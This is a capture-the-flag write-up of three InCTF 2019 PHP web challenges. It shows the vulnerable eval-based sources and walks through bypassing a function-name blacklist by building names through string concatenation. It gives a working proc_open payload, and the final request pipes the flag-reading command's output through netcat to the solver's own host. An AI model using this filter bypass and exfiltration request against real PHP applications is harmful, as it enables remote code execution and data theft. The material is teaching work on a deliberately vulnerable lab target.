Monday, September 23, 2019

InCTF 2019 - PHP+1, PHP+1.5 and PHP+2.5

by Alisson "Infektion" Bezerra

Introduction

This write-up is about the challenges PHP+1, PHP+1.5 and PHP+2.5, we were able to solve those three challenges with the same payload.

The idea behind the three challenges were the same: Bypass the WAF and get a shell.

The Challenge

Looking at the first challenge (PHP+1), we were given a link to this address: http://18.222.93.187. When we opened the address in the browser, we were given a PHP source code:

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

The code above is straighforward, we need to send a request with two query variables: input and thisfile. In order to bypass the checks at is_file and file_exists, we just need to send a directory path at the query variable thisfile.

The next step is bypass the check function. This functions takes all PHP functions names and checks if our input contains any of those names.

The next challenge is PHP+1.5. In this challenge we were given the source code below:

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

The difference between this challenge and the previous, it’s that in this challenge our input is checked with the blacklist variable. So, in the previous challenge we could even use eval to execute some code, because eval is not a function, it is a Language Constructor, same as echo and die.

And now comes the third challenge, PHP+2.5 and his source code:

<?php

$input = $_GET['input'];

function check(){
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  if(strlen($input)>100){  #That is random no. I took ;)
    echo "This is getting really large input..." . "<br>";
    return true;
  }
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){
  echo "You can't use inner file" . "<br>";
}
else{
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

And now comes the fun part, in this challenge our input should be less than 100 characters!

One Payload to Rule Them

The first step we took was figure out a way to execute phpinfo() and get the available functions that we could use to get a shell. So, if you look carefully, will notice that . is not in $blacklist and $ is not too. This will help us in order to bypass the preg_match filters.

So, to create the function name, we just need to concatenate the function name letter by letter, PHP maybe throws a warning, but it will gently convert a p to 'p'. The payload below illustrates how we were able to execute the phpinfo function:

$f=p.h.p.i.n.f.o; $f();

And our request would: http://18.222.93.187/?input=$f=p.h.p.i.n.f.o;$f();&thisfile=/dev/null

This was enough to execute phpinfo() and gives us the information we were looking for: The disabled functions list.

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
display_errors

So far so good.

If you look closely, you will notice that proc_open is not in the list and this is the reason that let us solve PHP+1, PHP+1.5 and PHP+2.5. PHP+2 was the same code as PHP+2.5, but in PHP+2, proc_open was disabled and this was the reason that we didn’t solve it.

Now, back to PHP+1, we must craft our payload to call proc_open, looking at the documentation of the function, we need to pass three parameters to the function: The command we want to execute and two arrays. The first array is an array of file descriptors, something like the code below:

array(
  array('pipe' => 'r').
  array('pipe' => 'w').
  array('pipe' => 'w').
);

It turns out that if we would send this in our payload, it would take too much characters. We decide to send it through $_GET params:

arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w

In order to call proc_open, we can use the concatenation again to make the function name as we did before with phpinfo, but, there was a problem, underline is blocked (in PHP+1.5 and PHP+2.5). This can easily be bypassed using the concatenation to create the function chr and later calling it:

$c=ch.r;$u=$c(95);

As $u holds the underline, we just need to concatenate it with proc and open:

$e=pro.c.$u.ope.n;

The next thing we must do it is fetch the descriptor array from the $_GET. First, we create a variable that will hold _GET:

$k=$u.G.E.T;$g=$$k;

And here’s a trick: We must craft our request in an way that the first query variable is the command we want to execute and the next is the descriptor array. This is important because we’ll use the current and the next functions to fetch the first and the second element from the $_GET array, so our request will be something like:

http://challenge-address/?p=command-we-want-to-execute&arr[][]=descriptor-array&input=payload&thisfile=/dev/null

We won’t go into details in this part, but basically you could use glob to find the files. There was a flag file in the /, but we could not read it due to permission issues. And to circumvent this problem, there was a readFile binary in /, so we should execute it and pass the flag file as parameter. So we setup our payload to execute the readFile and send it through netcat to our server.

Payload (97 chars)

$c=ch.r;
$u=$c(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pro.c.$u.ope.n;
$e($c($g),$n($g),$j);

Final request

http://challenge-address/?p=/readFlag /flag | nc our-ip 4444&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$c=ch.r;$u=$c(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pro.c.$u.ope.n;$e($c($g),$n($g),$j);&thisfile=/dev/null

Capture the Flag , Web , Writeup